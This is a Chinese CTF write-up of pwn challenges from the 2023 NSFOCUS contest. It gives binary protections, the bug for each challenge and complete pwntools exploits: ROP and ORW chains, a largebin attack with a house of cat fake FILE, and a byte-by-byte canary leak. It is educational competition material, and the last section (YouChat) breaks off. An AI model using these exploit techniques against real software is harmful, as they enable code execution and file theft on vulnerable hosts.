0%

绿盟杯CTF2023

stack_move

1
2
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Compiled by GNU CC version 9.4.0.
1
2
3
4
5
6
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=71608a3832e991be0d289c6a86027c189b0c76ff, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
  • 64位,dynamically,Partial RELRO,NX
1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
  • ban 了 execve

漏洞分析

简单栈溢出:

1
2
3
4
5
6
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

return read(0, buf, 0x130uLL);
}

入侵思路

先利用栈溢出写一个 puts(puts_got) 用于泄露 libc_base,然后填一个 main_addr 写循环

接下来可以选择栈迁移,也可以直接构造 read(0,stack_addr,0x300)(由于之前执行过 read,前两个参数不用修改)

最后写一个 ORW 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './vuln2'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.20.23.59','9999')

def debug():
gdb.attach(p,"b* 0x401268\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
payload = b"a"*0x108+p64(0x0000000000401363)+p64(0x404028)+p64(0x4010B0)+p64(0x4010F4)
sla("pwn!",payload)

ru("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - libc.sym["puts"]
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

bss_addr = 0x404060+0x200
pop_rdi_ret = 0x0000000000023b6a+libc_base
pop_rsi_ret = 0x000000000002601f+libc_base
pop_rdx_ret = 0x0000000000142c92+libc_base
pop_rax_ret = 0x0000000000036174+libc_base
syscall_ret = 0x0000000000083f6c+libc_base
pop_rbp_ret = 0x00000000000226c0+libc_base

open_libc = libc_base + libc.sym["open"]
read_libc = libc_base + libc.sym["read"]
write_libc = libc_base + libc.sym["write"]

payload = b"a"*0x108

# read(0, bss_addr, 0x30)
#payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x300)
payload += p64(read_libc)

sla("pwn!",payload)
sleep(1)

# open(bss_addr,0)
#payload += p64(pop_rax_ret) + p64(2)
payload = 0x120 * b"a"

payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x300)
payload += p64(read_libc)

payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(open_libc)
# read(3,bss_addr,0x60)
#payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(read_libc)
# write(1,bss_addr,0x60)
#payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(write_libc)

sl(payload)
flag = "flag"
p.send(flag)

p.interactive()

u_heap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dc263a465ef3a751f65d9680e8cac0ed688783d3, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

堆溢出漏洞:

1
2
3
4
if ( key )
return read(0, (void *)chunk_list[index], size_list[index] + 2);
else
return read(0, (void *)chunk_list[index], (int)size_list[index]);

入侵思路

本题目的限制有点多,首先可以利用堆溢出的两字节来覆盖相邻下一个 chunk 的 size,从而构造出 unsorted chunk,从而泄露 libc_base:

1
2
3
4
5
6
7
8
9
10
edit(0,b"b"*0x68+p16(0x4e1))
delete(1)

add(18,0x70)
show(18)

leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x3ec0c0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

有了 libc_base 就可以触发程序提供的 gift 功能了:

1
2
3
4
5
6
7
8
9
10
11
12
writen("Input the password");
read(0, &buf, 8uLL);
if ( a1 == buf )
{
writen("Input the size");
size = readn();
malloc(size);
}
else
{
writen("worong!");
}
  • 只申请不写入,这里只能用于触发 largebin attack

根据程序的功能,接下来肯定是要打 largebin attack 的,但在此之前有一个问题让我纠结了很久:到底要不要构造堆风水去泄露 heap_base:

  • 利用堆风水实现的错位可以使我们打印出 heap_addr
  • 如果我们想构造堆风水去泄露 heap_addr,错位后的堆就不能使用 edit 去修改 large chunk
  • 如果我们不泄露 heap_addr,就没法在 largebin attack 后构造 house of cat 来打 IO

这似乎是一个两难的选择,我在打比赛时两种方式都试过,最后选择先不泄露 heap_addr

在 libc-2.27 版本下打 largebin attack 有两种方式,由于程序只提供了两次 free 的机会,因此我们只能选择将一个小于 large chunk 的 unsorted chunk 插入 largebin(另一种方法可以写两处地址,但是至少需要3个 free chunk)

1
2
3
4
5
6
7
8
9
10
11
edit(0,b"b"*0x68+p16(0x441))
gift(libc_base,0x600)
delete(18)

io_list_all = libc_base + 0x3ec660
success("io_list_all >> "+hex(io_list_all))

target_addr = io_list_all
payload = p64(0)+p64(0)+p64(0)+p64(target_addr-0x20)
edit(2,payload)
gift(libc_base,0x600)

往 io_list_all 中写入可控 heap_addr 后,可以查看一下此时的堆风水:

1
2
3
4
5
6
unsortedbin
all: 0x1def2c0 —▸ 0x7f4037bb3ca0 (main_arena+96) ◂— 0x1def2c0
smallbins
empty
largebins
0x440: 0x1def340 —▸ 0x7f4037bb40a0 (main_arena+1120) ◂— 0x1def340
  • 未进行 largebin attack 之前
1
2
3
4
5
6
7
pwndbg> telescope 0x1def340
00:0000│ r8 0x1def340 ◂— 0x0
01:00080x1def348 ◂— 0x461
02:00100x1def350 —▸ 0x1def2c0 ◂— 0x6262626262626262 ('bbbbbbbb')
03:00180x1def358 ◂— 0x0
04:00200x1def360 ◂— 0x0
05:00280x1def368 —▸ 0x1def2c0 ◂— 0x6262626262626262 ('bbbbbbbb')
  • 由于该 unsorted chunk 比 large chunk 小,因此该 chunk 在进入 largebin 后会插入 largebin 的尾部,也就是 large chunk->fd 的位置
1
2
3
4
pwndbg> telescope 0x6020A0
00:00000x6020a0 —▸ 0x1def260 ◂— 0x6262626262626262 ('bbbbbbbb')
01:00080x6020a8 —▸ 0x1def2d0 —▸ 0x7f4037bb40a0 (main_arena+1120) —▸ 0x7f4037bb4090 (main_arena+1104) —▸ 0x7f4037bb4080 (main_arena+1088) ◂— ...
02:00100x6020b0 —▸ 0x1def350 —▸ 0x1def2c0 ◂— 0x6262626262626262 ('bbbbbbbb')
  • 而这个位置的数据我们是可以打印的,也就泄露的 heap_base

最后伪造 fake_IO_FILE 去打 house of cat,由于程序单个 chunk 没有太多空间,我们只能分段进行伪造,另外 2.27 版本的 house of cat 和高版本有些许不同,可以一边动调一边修改高版本 house of cat 的模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
fake_io_addr = heap_base + 0x340 
payload_addr = heap_base + 0x340
flag_addr = heap_base + 0x340
success("fake_io_addr >> "+hex(fake_io_addr))

fake_IO_FILE1 = b"/bin/sh\x00" #_flags=rdi
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x20, b'\x00')
fake_IO_FILE1 += p64(magic_addr)
fake_IO_FILE1 += p64(0)
fake_IO_FILE1 += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE1 += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE1 += p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x58, b'\x00')
fake_IO_FILE1 += p64(0) # _chain

fake_IO_FILE2 = ""
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xa0-0x90, b'\x00')
fake_IO_FILE2 += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE2 += p64(ret)
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xb0-0x90, b'\x00')
fake_IO_FILE2 += p64(1) #mode=1
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xc0-0x90, b'\x00')
fake_IO_FILE2 += p64(1)
fake_IO_FILE2 += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE2 += p64(_IO_wfile_jumps+0x30)*6
fake_IO_FILE2 += p64(fake_io_addr+0x40) # rax2_addr

fake_IO_FILE3 = "a"*0x10

success("fake_io_addr+0x40 >> "+hex(fake_io_addr+0x40))
success("fake_IO_FILE1 len >> "+hex(len(fake_IO_FILE1)))
success("fake_IO_FILE2 len >> "+hex(len(fake_IO_FILE2)))

add(0,0x70)
add(0,0x70)
payload = fake_IO_FILE1
edit(0,payload)

payload = fake_IO_FILE2
edit(3,payload)

payload = p64(ret)*9+p64(magic2_addr)+p64(fake_io_addr+0x40)
edit(4,payload)
  • 动调时重点看 cmp 指令是否可以满足跳转指令的条件,若不满足则尝试修改 fake_IO_FILE 甚至是堆风水

当 house of cat 劫持程序执行流后,就可以调用 setcontext 完成栈迁移,最后打一个 ORW 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b*0x400F80\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla("choice:",str(op))

def add(index,size):
cmd(1)
sla("Index",str(index))
sla("size",str(size))

def edit(index,data):
cmd(2)
sla("Index",str(index))
sa("content",data)

def delete(index):
cmd(3)
sla("Index",str(index))

def show(index):
cmd(4)
sla("Index",str(index))

def gift(password,size):
cmd(5)
sa("password",p64(password))
sla("size",str(size))

#debug()

for i in range(1):
add(i,0x68)
for i in range(10):
add(i+1,0x70)

for i in range(10):
edit(i+1,p64(0x21)*13+p64(0x6020A0))

edit(0,b"b"*0x68+p16(0x4e1))
delete(1)

add(18,0x70)
show(18)

leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x3ec0c0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

edit(0,b"b"*0x68+p16(0x441))
gift(libc_base,0x600)
delete(18)

io_list_all = libc_base + 0x3ec660
success("io_list_all >> "+hex(io_list_all))

target_addr = io_list_all
payload = p64(0)+p64(0)+p64(0)+p64(target_addr-0x20)
edit(2,payload)
gift(libc_base,0x600)

show(2)
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x2c0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

libc_system = libc_base + libc.sym["system"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"] + 53
success("setcontext >> "+hex(setcontext))

magic_addr = libc_base + 0x00000000000d28de # add rsp 0xe0
magic2_addr = libc_base + 0x00000000000e0b2d # add rsp 0x38
magic3_addr = libc_base + 0x000000000003e212 # add rsp 0x28
ret = libc_base + 0x00000000000008aa
pop_rax_ret = libc_base + 0x000000000001b500
pop_rdi_ret = libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96
syscall_ret = libc_base + 0x000000000013ff57

fake_io_addr = heap_base + 0x340
payload_addr = heap_base + 0x340
flag_addr = heap_base + 0x340
success("fake_io_addr >> "+hex(fake_io_addr))

fake_IO_FILE1 = b"/bin/sh\x00" #_flags=rdi
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x20, b'\x00')
fake_IO_FILE1 += p64(magic_addr)
fake_IO_FILE1 += p64(0)
fake_IO_FILE1 += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE1 += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE1 += p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x58, b'\x00')
fake_IO_FILE1 += p64(0) # _chain

fake_IO_FILE2 = ""
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xa0-0x90, b'\x00')
fake_IO_FILE2 += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE2 += p64(ret)
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xb0-0x90, b'\x00')
fake_IO_FILE2 += p64(1) #mode=1
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xc0-0x90, b'\x00')
fake_IO_FILE2 += p64(1)
fake_IO_FILE2 += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE2 += p64(_IO_wfile_jumps+0x30)*6
fake_IO_FILE2 += p64(fake_io_addr+0x40) # rax2_addr

fake_IO_FILE3 = "a"*0x10

success("fake_io_addr+0x40 >> "+hex(fake_io_addr+0x40))
success("fake_IO_FILE1 len >> "+hex(len(fake_IO_FILE1)))
success("fake_IO_FILE2 len >> "+hex(len(fake_IO_FILE2)))

add(0,0x70)
add(0,0x70)
payload = fake_IO_FILE1
edit(0,payload)

payload = fake_IO_FILE2
edit(3,payload)

payload = p64(ret)*9+p64(magic2_addr)+p64(fake_io_addr+0x40)
edit(4,payload)

payload = "./flag".ljust(8,b"\x00")
# open(bss_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(heap_base+0x4d0)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
payload += p64(magic3_addr)
edit(5,payload)

# read(3,bss_addr,0x60)
payload = ""
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(heap_base+0x4d0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
payload += p64(magic2_addr)
edit(6,payload)

# write(1,bss_addr,0x60)
payload = p64(ret)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(heap_base+0x4d0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
edit(7,payload)

cmd(2)
sla("Index",str(11))

p.interactive()

fakecalc

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=073f580c2010498ed638e9d9d4051016cb790fdb, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

栈溢出漏洞:

1
2
3
__isoc99_scanf("%d", &size);
for ( i = 0; i < size; ++i )
__isoc99_scanf("%hhd", &v5[i]);

有后门:

1
2
3
4
int door()
{
return execve("/bin/sh", 0LL, 0LL);
}

入侵思路

利用溢出可以泄露 canary,不过这里有一点需要注意:

1
2
for ( i = 0; i < size; ++i )
__isoc99_scanf("%hhd", &v5[i]);

在 scanf 写入失败时虽然可以不覆盖数据,但遗留在缓冲区中的数据并不会被销毁,这会导致之后所有的 scanf 失败(scanf 使用 stdin 缓冲区)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p _IO_2_1_stdin_
$2 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_read_end = 0x7f731ca69a04 <_IO_2_1_stdin_+132> "",
_IO_read_base = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7f731ca69a03 <_IO_2_1_stdin_+131> "\n",
_IO_buf_end = 0x7f731ca69a04 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f731ca6b7f0 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f731ca69a60 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f731ca664a0 <_IO_file_jumps>
}
  • stdin 缓冲区默认为 _IO_2_1_stdin_+131,如果不够用则会使用栈上 0x400 大小的空间,如果再不够则会调用 malloc 申请堆空间

分析 scanf 的源码可以找到解决办法:

1
2
3
4
case L_('d'):	/* Signed decimal integer.  */
base = 10;
flags |= NUMBER_SIGNED;
goto number;
1
2
3
4
5
6
7
8
9
10
11
12
13
number:
c = inchar ();
if (__glibc_unlikely (c == EOF))
input_error ();

/* Check for a sign. */
if (c == L_('-') || c == L_('+'))
{
char_buffer_add (&charbuf, c);
if (width > 0)
--width;
c = inchar ();
}
  • 当遇到 + - 时,scanf 会选择跳过然后匹配下一个字符,利用这一点即可使 scanf 不覆盖数据

这样我们就可以一次泄露1字节,将 canary 泄露出来,而在泄露 pro_base 时需要注意 canary 对后续计算的影响

下面是泄露使用的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
def leak_target(offset,canary=0):
leak = 0
leakt = 0
canary_offset = 0

if(canary!=0):
for i in range(8):
canary_offset += canary>>(8*i) & 0xff
canary_offset = canary_offset & 0xff
success("canary_offset >> "+hex(canary_offset))

leak_addr1 = add(offset,1,canary)
leakt = leak_addr1
leakt = sub_num(leakt,canary_offset)
leak += leakt*0x1
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,2,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x100
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,3,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x10000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,4,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x1000000
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,5,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x100000000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,6,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x10000000000
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,7,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x1000000000000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,8,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x100000000000000
success("leak_part >> "+hex(leakt))

return leak

leak_addr = leak_target(0x108)
canary = leak_addr
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

leak_addr = leak_target(0x118,canary)
pro_base = leak_addr - 0x19a3
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

最后覆盖返回地址为后门地址即可

本题目需要提权去执行一个没有 x 权限的程序,可以使用 ld 来进行操作:

1
2
3
4
5
6
exp ls -al ./getflag                  
-rw-r--r-- 1 yhellow yhellow 16688 118 23:57 ./getflag
exp ./getflag
zsh: 权限不够: ./getflag
exp /lib64/ld-linux-x86-64.so.2 ./getflag
flag{yhellow}

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './a.out1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x158C)\n")
pause()

def cmd(op):
sa("给我一个出路",str(op))

def sub_num(num1,num2):
re = num1 - num2
while re < 0:
re += 0x100
return re

def sum_num(num1,num2):
re = num1 + num2
while re > 0x100:
re -= 0x100
return re

def add(size,offset,canary=0):
cmd(1)
sla("number:",str(size+offset))
if canary==0:
for i in range(size):
sl("0")
else:
for i in range(0x108):
sl("0")
for i in range(8):
sl(str((canary>>(8*i))& 0xff))
for i in range(size-0x110):
sl("0")

for i in range(offset):
sl("+")
ru("result is ")
leak_addr = eval(ru("\n"))
return leak_addr

def edit(data,canary):
cmd(1)
sla("number:",str(0x118+len(data)))
for i in range(0x108):
sl("0")
for i in range(8):
sl(str((canary>>(8*i))& 0xff))
for i in range(8):
sl("0")
for i in data:
sl(str(ord(i)))

def leak_target(offset,canary=0):
leak = 0
leakt = 0
canary_offset = 0

if(canary!=0):
for i in range(8):
canary_offset += canary>>(8*i) & 0xff
canary_offset = canary_offset & 0xff
success("canary_offset >> "+hex(canary_offset))

leak_addr1 = add(offset,1,canary)
leakt = leak_addr1
leakt = sub_num(leakt,canary_offset)
leak += leakt*0x1
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,2,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x100
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,3,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x10000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,4,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x1000000
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,5,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x100000000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,6,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x10000000000
success("leak_part >> "+hex(leakt))

leak_addr1 = add(offset,7,canary)
leakt = sub_num(leak_addr1,leak_addr2)
leak += leakt*0x1000000000000
success("leak_part >> "+hex(leakt))

leak_addr2 = add(offset,8,canary)
leakt = sub_num(leak_addr2,leak_addr1)
leak += leakt*0x100000000000000
success("leak_part >> "+hex(leakt))

return leak

leak_addr = leak_target(0x108)
canary = leak_addr
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

leak_addr = leak_target(0x118,canary)
pro_base = leak_addr - 0x19a3
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

pop_rdi_ret = pro_base + 0x0000000000001a73
pop_rsi_r15_ret = pro_base + 0x0000000000001a71
scanf_plt = pro_base + 0x1160
key_addr = pro_base + 0x404C
d_addr = pro_base + 0x20C9
door_addr = pro_base + 0x12BA

payload = p64(door_addr)

#debug()

edit(payload,canary)

p.interactive()

YouChat

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.12) stable release version 2.31.
1
2
3
4
5
6
YouChat: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d476e7cd0be2b555624f5111dedddeb8640df8f7, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

格式化字符串漏洞:

1
2
std::operator<<<std::char_traits<char>>(&std::cout, "[+] Successfully set a new status: ");
printf(buf);

栈溢出漏洞:

1
2
std::operator<<<std::char_traits<char>>(&std::cout, "Message:  ");
len = read(0, buf, 0x1000uLL);

入侵思路

需要先进行两个匹配进入核心功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
